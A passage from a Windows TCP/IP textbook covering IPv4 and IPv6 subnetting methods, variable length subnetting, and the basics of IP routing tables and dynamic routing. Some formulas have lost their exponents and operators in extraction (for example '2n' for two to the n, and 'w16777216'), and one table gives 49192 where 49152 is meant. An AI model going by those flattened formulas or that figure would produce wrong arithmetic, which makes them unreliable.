192.168.192.1 –192.168.223.254
8
11000000.10101000.11100000.00000001 –
11000000.10101000.11111111.11111110
192.168.224.1 –192.168.255.254
Table 4-5 Binary Technique for Defining the Ranges of IPv4 Addresses for the 3-bit Subnetting of
192.168.0.0/16
To define the range of valid IPv4 addresses for a set of subnetted address prefixes using the decimal
method, perform the following steps:
1. Based on n, the number of host bits chosen for subnetting, create a three-column table with 2n rows.
The first column contains the subnet numbers (starting with 1), the second column contains the
dotted decimal representations of the subnetted address prefixes, and the third column contains the
dotted decimal representations of the first and last IPv4 addresses of the subnetted address prefix.
Alternately, add a column to the previous table used for enumerating the subnetted address prefixes
in decimal.
2. For each row, calculate the first IPv4 address in the range by adding 1 to the last octet of the
subnetted address prefix.
3. For each row except the last, calculate the last IPv4 address in the range using the following
formulas:
When you subnet within the first octet, the last value for a given subnet is [NextSubnetID -
1].255.255.254 (in which NextSubnetID is the value of the octet that is being subnetted for the next
subnetted address prefix).
When you subnet within the second octet, the last value for a given subnet is w.[NextSubnetID -
1].255.254.
When you subnet within the third octet, the last value for a given subnet is w.x.[NextSubnetID -
1].254.
When you subnet within the fourth octet, the last value for a given subnet is w.x.y.[NextSubnetID -
2].
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 102
4. For the last row, calculate the last IPv4 address in the range using the following formulas:
When you subnet within the first octet, the last value is [SubnetID + i - 1].255.255.254 (in which
SubnetID is the value of the octet that is being subnetted for the current subnetted address prefix
and i is the increment value derived when determining the subnetted address prefixes).
When you subnet within the second octet, the last value is w.[SubnetID + i - 1].255.254.
When you subnet within the third octet, the last value is w.x.[SubnetID + i - 1].254.
When you subnet within the fourth octet, the last value is w.x.y.[SubnetID + i - 2].
For example, Table 4-6 shows the range of IPv4 addresses for the 3-bit subnetting of 192.168.0.0/16.
Subnet
Subnetted address prefix
Range of IPv4 Addresses
1
192.168.0.0/19
192.168.0.1 –192.168.31.254
2
192.168.32.0/19
192.168.32.1 –192.168.63.254
3
192.168.64.0/19
192.168.64.1 –192.168.95.254
4
192.168.96.0/19
192.168.96.1 –192.168.127.254
5
192.168.128.0/19
192.168.128.1 –192.168.159.254
6
192.168.160.0/19
192.168.160.1 –192.168.191.254
7
192.168.192.0/19
192.168.192.1 –192.168.223.254
8
192.168.224.0/19
192.168.224.1 –192.168.255.254
Table 4-6 Decimal Technique for Defining the Ranges of IPv4 Addresses for the 3-bit Subnetting of
192.168.0.0/16
Subnetting Across an Octet Boundary
Like the procedure for subnetting within an octet, the procedure for subnetting across an octet boundary
has two steps:
Defining the subnetted address prefixes
Defining the range of usable IPv4 addresses for each subnetted address prefix
The following sections describe these steps.
Defining the Subnetted address prefixes
To subnet across an octet boundary, do the following:
1. Based on n, the number of host bits you are using for subnetting, create a three-column table with 2n
rows. The first column contains the subnet numbers (starting with 1), the second column contains
representations of the 32-bit subnetted address prefixes as single decimal numbers, and the third
column contains the dotted decimal representations of the subnetted address prefixes.
2. Convert the address prefix (w.x.y.z) being subnetted from dotted decimal notation to N, a decimal
representation of the 32-bit address prefix, using the following formula:
N = w16777216 + x65536 + y256 + z
3. Compute the increment value I using I = 2h where h is the number of host bits remaining.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 103
4. In the first row, place N, the decimal representation of the subnetted address prefix, in the second
column, and place the subnetted address prefix w.x.y.z with its new prefix length in the third column.
5. In the next row, add I to the previous row’s decimal representation, and place the result in the second
column.
6. Convert the decimal representation of the subnetted address prefix to dotted decimal notation
(W.X.Y.Z) using the following formula (where s is the decimal representation of the subnetted
address prefix):
W = int(s/16777216)
X = int((s mod(16777216))/65536)
Y = int((s mod(65536))/256)
Z = s mod(256)
int( ) denotes integer division, and mod( ) denotes the modulus (the remainder upon division).
7. Repeat steps 5 and 6 until you complete the table.
For example, to perform a 4-bit subnetting of the address prefix 192.168.180.0/22, construct a table
with 16 (24) rows, as Table 4-7 shows. N, the decimal representation of 192.168.180.0, is 3232281600,
which is the result of 19216777216 + 16865536 + 180256. Because 6 host bits remain, the
increment I is 26 = 64. Additional rows in the table are successive increments of 64.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 104
Subnet
Decimal Representation
Subnetted Address
Prefix
1
3232281600
192.168.180.0/26
2
3232281664
192.168.180.64/26
3
3232281728
192.168.180.128/26
4
3232281792
192.168.180.192/26
5
3232281856
192.168.181.0/26
6
3232281920
192.168.181.64/26
7
3232281984
192.168.181.128/26
8
3232282048
192.168.181.192/26
9
3232282112
192.168.182.0/26
10
3232282176
192.168.182.64/26
11
3232282240
192.168.182.128/26
12
3232282304
192.168.182.192/26
13
3232282368
192.168.183.0/26
14
3232282432
192.168.183.64/26
15
3232282496
192.168.183.128/26
16
3232282560
192.168.183.192/26
Table 4-7 Decimal Subnetting Technique for the 4-bit Subnetting of 192.168.180.0/22
This method is a completely general technique for subnetting, and you can also use it within an octet
and across multiple octets.
Defining the Range of IPv4 Addresses for Each Subnet
To determine the range of usable host IDs for each subnetted address prefix, perform the following
steps:
1. Based on n, the number of host bits you are using for subnetting, create a three-column table with 2n
rows. The first column contains the subnet numbers (starting with 1), the second column contains the
decimal representation of the first and last IPv4 addresses for the subnetted address prefixes, and
the third column contains the dotted decimal representation of the first and last IPv4 addresses of the
subnetted address prefixes. Alternately, add two columns to the previous table used for enumerating
the subnetted address prefixes using the decimal subnetting technique.
2. Compute the increment value J based on h, the number of host bits remaining:
J = 2h – 2
3. The first IPv4 address is N + 1, in which N is the decimal representation of the subnetted address
prefix. The last IPv4 address is N + J.
4. Convert the decimal representation of the first and last IPv4 addresses to dotted decimal notation
(W.X.Y.Z) using the following formula (where s is the decimal representation of the first or last IPv4
address):
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 105
W = int(s/16777216)
X = int((s mod(16777216))/65536)
Y = int((s mod(65536))/256)
Z = s mod(256)
int( ) denotes integer division, and mod( ) denotes the modulus (the remainder upon division).
5. Repeat steps 3 and 4 for each row of the table.
For example, Table 4-8 shows the range of IPv4 addresses for the 4-bit subnetting of
192.168.180.0/22. The increment J is 26 – 2 = 62.
Subnet
Decimal Representation
Range of IPv4 Addresses
1
3232281601-3232281662
192.168.180.1-192.168.180.62
2
3232281665-3232281726
192.168.180.65-192.168.180.126
3
3232281729-3232281790
192.168.180.129-192.168.180.190
4
3232281793-3232281854
192.168.180.193-192.168.180.254
5
3232281857-3232281918
192.168.181.1-192.168.181.62
6
3232281921-3232281982
192.168.181.65-192.168.181.126
7
3232281985-3232282046
192.168.181.129-192.168.181.190
8
3232282049-3232282110
192.168.181.193-192.168.181.254
9
3232282113-3232282174
192.168.182.1-192.168.182.62
10
3232282177-3232282238
192.168.182.65-192.168.182.126
11
3232282241-3232282302
192.168.182.129-192.168.182.190
12
3232282305-3232282366
192.168.182.193-192.168.182.254
13
3232282369-3232282430
192.168.183.1-192.168.183.62
14
3232282433-3232282494
192.168.183.65-192.168.183.126
15
3232282497-3232282558
192.168.183.129-192.168.183.190
16
3232282561-3232282622
192.168.183.193-192.168.183.254
Table 4-8 Decimal Enumeration of the Ranges of IPv4 Addresses for the 4-bit Subnetting of
192.168.180.0/22
Variable Length Subnetting
One of the original uses for subnetting was to subdivide a class-based address prefix into a series of
equal-sized subnets. For example, a 4-bit subnetting of a class B address prefix produces 16 equal-
sized subnets. However, subnetting is a general method of using host bits to express subnets and does
not require equal-sized subnets.
Subnets of different sizes can exist within a class-based or classless address prefix. This practice is
well suited to real-world environments, where networks of an organization contain different numbers of
hosts, and you need different-sized subnets to avoid wasting IPv4 addresses. The practice of creating
and deploying various-sized subnets from an IPv4 address prefix is known as variable length
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 106
subnetting, and this technique uses variable prefix lengths, also known as variable length subnet masks
(VLSMs).
Variable length subnetting is a technique of allocating subnetted address prefixes that use prefix
lengths of different sizes. However, all subnetted address prefixes are unique, and you can distinguish
them from each other by their corresponding prefix length.
Variable length subnetting essentially performs subnetting on a previously subnetted address prefix.
When you subnet, you keep the fixed address prefix and choose a certain number of host bits to
express subnets. With variable length subnetting, the address prefix being subnetted has already been
subnetted.
Variable Length Subnetting Example
For example, given the address prefix of 157.54.0.0/16, the required configuration is to reserve half the
addresses for future use, have 15 address prefixes for sites of the organization with up to 2,000 hosts,
and create eight subnets with up to 250 hosts.
To achieve the requirement of reserving half the address space for future use, subnet 1 bit of the class-
based address prefix of 157.54.0.0. This subnetting produces 2 subnets, 157.54.0.0/17 and
157.54.128.0/17, dividing the address space in half. You can fulfill the requirement by choosing
157.54.0.0/17 as the address prefix for the reserved portion of the address space.
Table 4-9 shows the reservation of half the address space.
Subnet Number
Address Prefix (Dotted Decimal)
Address Prefix (Prefix Length)
1
157.54.0.0, 255.255.128.0
157.54.0.0/17
Table 4-9 Reserving Half the Address Space
To fulfill the requirement of 15 address prefixes with approximately 2,000 hosts per prefix, subnet 4 bits
of the subnetted address prefix of 157.54.128.0/17. This subnetting produces 16 address prefixes
(157.54.128.0/21, 157.54.136.0/21…157.54.240.0/21, 157.54.248.0/21), allowing up to 2,046 hosts per
address prefix. You can fulfill the requirement by choosing the first 15 subnetted address prefixes
(157.54.128.0/21 to 157.54.240.0/21) as the address prefixes for other sites.
Table 4-10 illustrates 15 address prefixes with up to 2,046 hosts per subnet.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 107
Subnet Number
Address Prefix (Dotted Decimal)
Address Prefix (Prefix Length)
1
157.54.128.0, 255.255.248.0
157.54.128.0/21
2
157.54.136.0, 255.255.248.0
157.54.136.0/21
3
157.54.144.0, 255.255.248.0
157.54.144.0/21
4
157.54.152.0, 255.255.248.0
157.54.152.0/21
5
157.54.160.0, 255.255.248.0
157.54.160.0/21
6
157.54.168.0, 255.255.248.0
157.54.168.0/21
7
157.54.176.0, 255.255.248.0
157.54.176.0/21
8
157.54.184.0, 255.255.248.0
157.54.184.0/21
9
157.54.192.0, 255.255.248.0
157.54.192.0/21
10
157.54.200.0, 255.255.248.0
157.54.200.0/21
11
157.54.208.0, 255.255.248.0
157.54.208.0/21
12
157.54.216.0, 255.255.248.0
157.54.216.0/21
13
157.54.224.0, 255.255.248.0
157.54.224.0/21
14
157.54.232.0, 255.255.248.0
157.54.232.0/21
15
157.54.240.0, 255.255.248.0
157.54.240.0/21
Table 4-10 Fifteen Address Prefixes with up to 2,046 Hosts
To achieve the requirement of eight subnets with up to 250 hosts, subnet 3 bits of the subnetted
address prefix of 157.54.248.0/21. This subnetting produces eight subnets (157.54.248.0/24,
157.54.249.0/24…157.54.254.0/24, 157.54.255.0/24) and allows up to 254 hosts per subnet. You can
fulfill the requirement by choosing all eight subnetted address prefixes (157.54.248.0/24 through
157.54.255.0/24) as the subnet prefixes to assign to individual subnets.
Table 4-11 illustrates eight subnets with 254 hosts per subnet.
Subnet Number
Subnet Prefix (Dotted Decimal)
Subnet Prefix (Prefix length)
1
157.54.248.0, 255.255.255.0
157.54.248.0/24
2
157.54.249.0, 255.255.255.0
157.54.249.0/24
3
157.54.250.0, 255.255.255.0
157.54.250.0/24
4
157.54.251.0, 255.255.255.0
157.54.251.0/24
5
157.54.252.0, 255.255.255.0
157.54.252.0/24
6
157.54.253.0, 255.255.255.0
157.54.253.0/24
7
157.54.254.0, 255.255.255.0
157.54.254.0/24
8
157.54.255.0, 255.255.255.0
157.54.255.0/24
Table 4-11 Eight Subnets with up to 254 Hosts
Figure 4-4 shows the variable length subnetting of 157.54.0.0/16.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 108
Figure 4-4 Variable length subnetting of 157.54.0.0/16
Variable Length Subnetting and Routing
In dynamic routing environments, you can deploy variable length subnetting only where the prefix
length is advertised along with the address prefix. Routing Information Protocol (RIP) for IP version 1
does not support variable length subnetting, but RIP for IP version 2, Open Shortest Path First (OSPF),
and Border Gateway Protocol version 4 (BGPv4) do.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 109
Subnetting for IPv6
To subnet the IPv6 address space, you use subnetting techniques to divide the 16-bit Subnet ID field
for a 48-bit global or unique local address prefix in a manner that allows for route summarization and
delegation of the remaining address space to different portions of an IPv6 intranet.
You need not subnet in any specific fashion. The subnetting technique described here assumes that
you subnet by dividing the variable portions of the address space of the Subnet ID field using its high-
order bits. Although this method promotes hierarchical addressing and routing, it is not required. For
example, in a small organization with a small number of subnets, you can also easily create a flat
addressing space for global addresses by numbering the subnets starting from 0.
Subnetting a Global or Unique Local Address Prefix
For global addresses, Internet Assigned Numbers Authority (IANA) or an ISP assigns an IPv6 address
prefix in which the first 48 bits are fixed. For unique local addresses, the first 48 bits are fixed at
FD00::/8 and the random 40-bit global ID assigned to a site of an organization. Subnetting the Subnet
ID field for a 48-bit global or unique local address prefix requires a two-step procedure:
1. Determine the number of bits to be used for the subnetting.
2. Enumerate the new subnetted address prefixes.
Determining the Number of Subnetting Bits
The number of bits that you use for subnetting determines the possible number of new subnetted
address prefixes that you can allocate to portions of your network based on geographical or
departmental divisions. In a hierarchical routing infrastructure, you must determine how many address
prefixes, and therefore how many bits, you need at each level in the hierarchy. The more bits you
choose for the various levels of the hierarchy, the fewer bits you have to enumerate individual subnets
in the last level of the hierarchy.
Depending on the needs of your organization, your subnetting scheme might be along nibble
(hexadecimal digit) or bit boundaries. If you can subnet along nibble boundaries, your subnetting
scheme becomes simplified and each hexadecimal digit can represent a level in the subnetting
hierarchy. For example, a network administrator decides to implement a three-level hierarchy that uses
the first nibble for the site, the next nibble for a building within a site, and the last two nibbles for a
subnet within a building. An example subnet ID for this scheme is 142A, which indicates site 1, building
4, and subnet 42 (0x2A).
In some cases, bit-boundary subnetting is required. For example, a network administrator decides to
implement a two-level hierarchy reflecting a geographical/departmental structure and uses 4 bits for the
geographical level and 6 bits for the departmental level. This means that each department in each
geographical location has only 6 bits of subnetting space left (16 - 6 - 4), or only 64 (= 26) subnets per
department.
On any given level in the hierarchy, a number of bits are already fixed by the previous level in the
hierarchy (f), a number of bits are used for subnetting at the current level in the hierarchy (s), and a
number of bits remain for the next level down in the hierarchy (r). At all times, f+s+r = 16. Figure 4-5
shows this relationship.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 110
Figure 4-5 Subnetting the Subnet ID field of a global or unique local IPv6 address prefix
Enumerating Subnetted Address Prefixes
Based on the number of bits used for subnetting, you must list the new subnetted address prefixes, and
you can use the following approaches:
Enumerate new subnetted address prefixes by using binary representations of the subnet ID and
converting to hexadecimal.
Enumerate the new subnetted address prefixes by using hexadecimal representations of the subnet ID
and increment.
Enumerate the new subnetted address prefixes by using decimal representations of the subnet ID and
increment.
Any of these methods produce the same result: an enumerated list of subnetted address prefixes.
In the binary method, the 16-bit subnet ID is expressed as a 16-digit binary number. The bits within the
subnet ID that are being used for subnetting are incremented for all their possible values and for each
value, the 16-digit binary number is converted to hexadecimal and combined with the 48-bit site prefix,
producing the subnetted address prefixes.
To create the enumerated list of subnetted address prefixes using the binary method, perform the
following steps:
1. Based on s (the number of bits chosen for subnetting), m (the prefix length of the address prefix
being subnetted), and f (the number of bits already subnetted), calculate the following:
n = 2s, n is the number of address prefixes that are obtained.
l = 48 + f + s, l is the prefix length of the new subnetted address prefixes.
2. Create a three-column table with n entries. The first column is the address prefix number (starting
with 1), the second column is the binary representation of the subnet ID portion of the new address
prefix, and the third column is the subnetted address prefix (in hexadecimal), which includes the 48-
bit site prefix and the subnet ID.
3. In the first table entry, set all of the bits being used for subnetting to 0. Convert the resulting 16-digit
binary number to hexadecimal, combine with the 48-bit site prefix, and write the subnetted address
prefix. This first subnetted address prefix is just the original address prefix with the new prefix length.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 111
4. In the next table entry, increment the value within the subnet bits. Convert the 16-digit binary number
to hexadecimal, combine with the 48-bit site prefix, and write the resulting subnetted address prefix.
5. Repeat step 4 until the table is complete.
For example, to perform a 3-bit subnetting of the global address prefix 2001:DB8:0:C000::/51, we first
calculate the values for the number of prefixes and the new prefix length. Our starting values are s = 3,
and f = 51 - 48 = 3. The number of prefixes is 8 (n = 23). The new prefix length is 54 (l = 48 + 3 + 3).
The initial value for the subnet ID in binary is 1100 0000 0000 0000 (0xC000 converted to binary).
Next, we construct a table with 8 entries. The entry for the address prefix 1 is 2001:DB8:0:C000::/54.
Additional entries are increments of the subnet bits in the subnet ID portion of the address prefix, as
shown in Table 4-12.
Address Prefix
Binary Representation of Subnet ID
Subnetted Address Prefix
1
1100 0000 0000 0000
2001:DB8:0:C000::/54
2
1100 0100 0000 0000
2001:DB8:0:C400::/54
3
1100 1000 0000 0000
2001:DB8:0:C800::/54
4
1100 1100 0000 0000
2001:DB8:0:CC00::/54
5
1101 0000 0000 0000
2001:DB8:0:D000::/54
6
1101 0100 0000 0000
2001:DB8:0:D400::/54
7
1101 1000 0000 0000
2001:DB8:0:D800::/54
8
1101 1100 0000 0000
2001:DB8:0:DC00::/54
Table 4-12 The Binary Subnetting Technique for Address Prefix 2001:DB8:0:C000::/51
In Table 4-12, the underline in the second column shows the bits that are being used for subnetting.
To create the enumerated list of subnetted address prefixes using the hexadecimal method, perform
the following steps:
1. Based on s, the number of bits chosen for subnetting, and m, the prefix length of the address prefix
being subnetted, calculate the following:
f = m - 48
f is the number of bits within the subnet ID that are already fixed.
n = 2s
n is the number of address prefixes that you will obtain.
i = 216-(f+s)
i is the incremental value between each successive subnet ID expressed in hexadecimal.
p = m+s
p is the prefix length of the new subnetted address prefixes.
2. Create a two-column table with n rows. The first column contains the address prefix numbers
(starting with 1), and the second column contains the new subnetted address prefixes.
3. In the first row, place the original address prefix with the new prefix length in the second column. For
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 112
example, based on F, the hexadecimal value of the subnet ID being subnetted, the subnetted
address prefix is [48-bit prefix]:F::/p.
4. In the next row, increment the value within the subnet ID portion of the global or unique local address
prefix by i, and place the result in the second column. For example, in the second row, the subnetted
prefix is [48-bit prefix]:F+i::/p.
5. Repeat step 4 until you complete the table.
For example, to perform a 3-bit subnetting of the global address prefix 2001:DB8:0:C000::/51, first
calculate the values of the number of prefixes, the increment, and the new prefix length. Your starting
values are F=0xC000, s=3, m=51, and therefore f=51-48=3. The number of prefixes is 8 (n=23). The
increment is 0x400 (i=216-(3+3)=1024=0x400). The new prefix length is 54 (p=51+3).
Next, you construct a table with eight rows, as shown in Table 4-13. In the row for the address prefix 1,
place 2001:DB8:0:C000::/54 in the second column, and complete the remaining rows by incrementing
the Subnet ID portion of the address prefix by 0x400.
Address Prefix
Subnetted Address Prefix
1
2001:DB8:0:C000::/54
2
2001:DB8:0:C400::/54
3
2001:DB8:0:C800::/54
4
2001:DB8:0:CC00::/54
5
2001:DB8:0:D000::/54
6
2001:DB8:0:D400::/54
7
2001:DB8:0:D800::/54
8
2001:DB8:0:DC00::/54
Table 4-13 Hexadecimal Technique for the 3-bit Subnetting of 2001:DB8:0:C000::/51
To create the enumerated list of subnetted address prefixes using the decimal method, do the following:
1. Based on s, the number of bits you are using for subnetting, m, the prefix length of the address prefix
being subnetted, and F, the hexadecimal value of the subnet ID being subnetted, calculate the
following:
f = m - 48
f is the number of bits within the Subnet ID that are already fixed.
n = 2s
n is the number of address prefixes that you will obtain.
i = 216-(f+s)
i is the incremental value between each successive subnet ID.
p = m+s
p is the prefix length of the new subnetted address prefixes.
D = decimal representation of F
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 113
2. Create a three-column table with n rows. The first column contains the address prefix numbers
(starting with 1), the second column contains the decimal representations of the Subnet ID portions of
the new subnetted address prefixes, and the third column contains the new subnetted address
prefixes.
3. In the first row, place the decimal representation of the subnet ID (D) in the first column, and place
the subnetted prefix, [48-bit prefix]:F::/p, in the second column.
4. In the next row, increase the value of the decimal representation of the subnet ID by i, and place the
result in the second column. For example, in the second row, the decimal representation of the
subnet ID is D+i.
5. In the third column, convert the decimal representation of the subnet ID to hexadecimal, and
construct the prefix from [48-bit prefix]:[SubnetID]::/p. For example, in the second row, the subnetted
address prefix is [48-bit prefix]:[D+i (converted to hexadecimal)]::/p.
6. Repeat steps 4 and 5 until you complete the table.
For example, to perform a 3-bit subnetting of the site-local address prefix 2001:DB8:0:C000::/51, first
calculate the values of the number of prefixes, the increment, the new prefix length, and the decimal
representation of the starting subnet ID. Our starting values are F=0xC000, s=3, m=51, and therefore
f=51-48=3. The number of prefixes is 8 (n=23). The increment is 1024 (i=216-(3+3)). The new prefix length
is 54 (p=51+3). The decimal representation of the starting subnet ID is 49152 (D=0xC000=49152).
Next, construct a table with 8 rows as Table 4-14 shows. In the row for the address prefix 1, place
49192 in the first column and 2001:DB8:0:C000::/54 in the second column. In the remaining rows,
increment the subnet ID portion of the address prefix (the fourth hexadecimal block) by 1024 and
convert to hexadecimal.
Address Prefix
Decimal Representation of Subnet ID
Subnetted Address Prefix
1
49192
2001:DB8:0:C000::/54
2
50176
2001:DB8:0:C400::/54
3
51200
2001:DB8:0:C800::/54
4
52224
2001:DB8:0:CC00::/54
5
53248
2001:DB8:0:D000::/54
6
54272
2001:DB8:0:D400::/54
7
55296
2001:DB8:0:D800::/54
8
56320
2001:DB8:0:DC00::/54
Table 4-14 Decimal Technique for the 3-bit Subnetting of 2001:DB8:0:C000::/51
Variable Length Subnetting
Just as in IPv4, you can subnet IPv6 address prefixes recursively, up to the 64 bits that define the
address prefix for an individual subnet, to provide route summarization at various levels of an
organization intranet. Unlike IPv4, you cannot use variable-length subnetting to create different sized
subnets because all IPv6 subnets use a 64-bit subnet prefix and a 64-bit interface ID.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 114
Chapter Summary
The key information in this chapter is the following:
Subnetting is a set of techniques that you can use to efficiently allocate the address space of one or
more unicast address prefixes among the subnets of an organization network.
To determine the subnet prefix of an IPv4 address configuration in prefix length notation (w.x.y.z/n),
retain the n high-order bits, set all the remaining bits to 0, and then convert the result to dotted decimal
notation. To determine the subnet prefix of an IPv4 address configuration in subnet mask notation,
perform a bit-wise logical AND between the IPv4 address and its subnet mask.
When determining the number of host ID bits in an IPv4 address prefix to use for subnetting, choose
more subnets over more hosts per subnet if you have more possible host IDs than are practical to use
on a given subnet.
To subnet an IPv4 address prefix, use either binary or decimal methods as described in this chapter to
enumerate the subnetted address prefixes and the ranges of usable IPv4 addresses for each subnet.
Variable length subnetting is a technique of creating subnetted IPv4 address prefixes that use prefix
lengths of different sizes.
To subnet an IPv6 global or unique local address prefix, use either hexadecimal or decimal methods as
described in this chapter to enumerate the subnetted address prefixes.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 115
Chapter Glossary
subnetting – The act of subdividing the address space of an IPv4 or IPv6 address prefix.
subnetted address prefix – Either a new IPv4 address prefix that is the result of subnetting an IPv4
address prefix or a new IPv6 address prefix that is the result of subnetting an IPv6 address prefix.
variable length subnet masks (VLSMs) – The use of different subnet masks to produce subnets of
different sizes.
variable length subnetting – The practice of using variable length subnet masks.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 116
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 117
Chapter 5 – IP Routing
Abstract
This chapter describes how IPv4 and IPv6 forward packets from a source to a destination and the basic concepts of
routing infrastructure. A network administrator must understand routing tables, route determination processes, and
routing infrastructure when designing IP networks and troubleshooting connectivity problems.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 118
Chapter Objectives
After completing this chapter, you will be able to:
Define the basic concepts of IP routing, including direct and indirect delivery, routing tables and their
contents, and static and dynamic routing.
Explain how IPv4 routing works in Windows, including routing table contents and the route
determination process.
Define IPv4 route aggregation and route summarization.
Configure Windows hosts, static routers, and dynamic routers for routing.
Define network address translation and how it is used on the Internet.
Explain how IPv6 routing works in Windows, including routing table contents and the route
determination process.
Configure hosts and static routers for the IPv6 component of Windows.
Define the use of the Route, Netsh, Ping, Tracert, and Pathping tools in IPv4 and IPv6 routing.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 119
IP Routing Overview
IP routing is the process of forwarding a packet based on the destination IP address. Routing occurs at
a sending TCP/IP host and at an IP router. In each case, the IP layer at the sending host or router must
decide where to forward the packet. For IPv4, routers are also commonly referred to as gateways.
To make these decisions, the IP layer consults a routing table stored in memory. Routing table entries
are created by default when TCP/IP initializes, and entries can be added either manually or
automatically.
Direct and Indirect Delivery
Forwarded IP packets use at least one of two types of delivery based on whether the IP packet is
forwarded to the final destination or whether it is forwarded to an IP router. These two types of delivery
are known as direct and indirect delivery.
Direct delivery occurs when the IP node (either the sending host or an IP router) forwards a packet to
the final destination on a directly attached subnet. The IP node encapsulates the IP datagram in a
frame for the Network Interface layer. For a LAN technology such as Ethernet or Institute of Electrical
and Electronic Engineers (IEEE) 802.11, the IP node addresses the frame to the destination’s media
access control (MAC) address.
Indirect delivery occurs when the IP node (either the sending host or an IP router) forwards a packet to
an intermediate node (an IP router) because the final destination is not on a directly attached subnet.
For a LAN technology such as Ethernet or IEEE 802.11, the IP node addresses the frame to the IP
router’s MAC address.
End-to-end IP routing across an IP network combines direct and indirect deliveries.
In Figure 5-1, when sending packets to Host B, Host A performs a direct delivery. When sending
packets to Host C, Host A performs an indirect delivery to Router 1, Router 1 performs an indirect
delivery to Router 2, and then Router 2 performs a direct delivery to Host C.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 120
Figure 5-1 Direct and indirect delivery
IP Routing Table
A routing table is present on every IP node. The routing table stores information about IP destinations
and how packets can reach them (either directly or indirectly). Because all IP nodes perform some form
of IP routing, routing tables are not exclusive to IP routers. Any node using the TCP/IP protocol has a
routing table. Each table contains a series of default entries according to the configuration of the node,
and additional entries can be added manually, for example by administrators that use TCP/IP tools, or
automatically, when nodes listen for routing information messages sent by routers.
When IP forwards a packet, it uses the routing table to determine:
The next-hop IP address
For a direct delivery, the next-hop IP address is the destination address in the IP packet. For an
indirect delivery, the next-hop IP address is the IP address of a router.
The next-hop interface
The interface identifies the physical or logical interface that forwards the packet.
Routing Table Entries
A typical IP routing table entry includes the following fields:
Destination
Either an IP address or an IP address prefix.
Prefix Length
The prefix length corresponding to the address or range of addresses in the destination.
Next-Hop
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 121
The IP address to which the packet is forwarded.
Interface
The network interface that forwards the IP packet.
Metric
A number that indicates the cost of the route so that IP can select the best route, among potentially
multiple routes to the same destination. The metric sometimes indicates the number of hops (the
number of links to cross) in the path to the destination.
Routing table entries can store the following types of routes:
Directly-attached subnet routes
Routes for subnets to which the node is directly attached. For directly-attached subnet routes, the
Next-Hop field can either be blank or contain the IP address of the interface on that subnet.
Remote subnet routes
Routes for subnets that are available across routers and are not directly attached to the node. For
remote subnet routes, the Next-Hop field is the IP address of a neighboring router.
Host routes
A route to a specific IP address. Host routes allow routing to occur on a per-IP address basis.
Default route
Used when a more specific subnet or host route is not present. The next-hop address of the default
route is typically the default gateway or default router of the node.
Static and Dynamic Routing
For IP packets to be efficiently routed between routers on the IP network, routers must either have
explicit knowledge of remote subnet routes or be properly configured with a default route. On large IP
networks, one of the challenges that you face as a network administrator is how to maintain the routing
tables on your IP routers so that IP traffic travels along the best path and is fault tolerant.
Routing table entries on IP routers are maintained in two ways:
Manually
Static IP routers have routing tables that do not change unless a network administrator manually
changes them. Static routing requires manual maintenance of routing tables by network
administrators. Static routers do not discover remote routes and are not fault tolerant. If a static
router fails, neighboring routers do not detect the fault and inform other routers.
Automatically
Dynamic IP routers have routing tables that change automatically when the routers exchange
routing information. Dynamic routing uses routing protocols, such as Routing Information Protocol
(RIP) and Open Shortest Path First (OSPF), to dynamically update routing tables. Dynamic routers
discover remote routes and are fault tolerant. If a dynamic router fails, neighboring routers detect
the fault and propagate the changed routing information to the other routers on the network.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 122
Dynamic Routing
Dynamic routing is the automatic updating of routing table entries to reflect changes in network
topology. A router with dynamically configured routing tables is known as a dynamic router. Dynamic
routers build and maintain their routing tables automatically by using a routing protocol, a series of
periodic or on-demand messages that contain routing information. Except for their initial configuration,
typical dynamic routers require little ongoing maintenance and, therefore, can scale to larger networks.
The ability to scale and recover from network faults makes dynamic routing the better choice for
medium, large, and very large networks.
Some widely used routing protocols for IPv4 are RIP, OSPF, and Border Gateway Protocol 4 (BGP-4).
Routing protocols are used between routers and represent additional network traffic overhead on the
network. You should consider this additional traffic if you must plan WAN link usage.
When choosing a routing protocol, you should pay particular attention to its ability to sense and recover
from network faults. How quickly a routing protocol can recover depends on the type of fault, how it is
sensed, and how routers propagate information through the network. When all the routers on the
network have the correct routing information in their routing tables, the network has converged. When
convergence is achieved, the network is in a stable state, and all packets are routed along optimal
paths.
When a link or router fails, the network must reconfigure itself to reflect the new topology by updating
routing tables, possibly across the entire network. Until the network reconverges, it is in an unstable
state. The time it takes for the network to reconverge is known as the convergence time. The
convergence time varies based on the routing protocol and the type of failure, such as a downed link or
a downed router.
The Routing and Remote Access service supports the RIP (Windows Server 2008 and Windows
Server 2003) and OSPF (Windows Server 2003 only) IPv4 routing protocols but no IPv6 routing
protocols.
Routing Protocol Technologies
Typical IP routing protocols are based the following technologies:
Distance Vector
Distance vector routing protocols propagate routing information in the form of an address prefix and
its “distance” (hop count). Routers use these protocols to periodically advertise the routes in their
routing tables. Typical distance vector-based routers do not synchronize or acknowledge the
routing information they exchange. Distance vector-based routing protocols are easier to
understand and configure, but they also consume more network bandwidth, take longer to
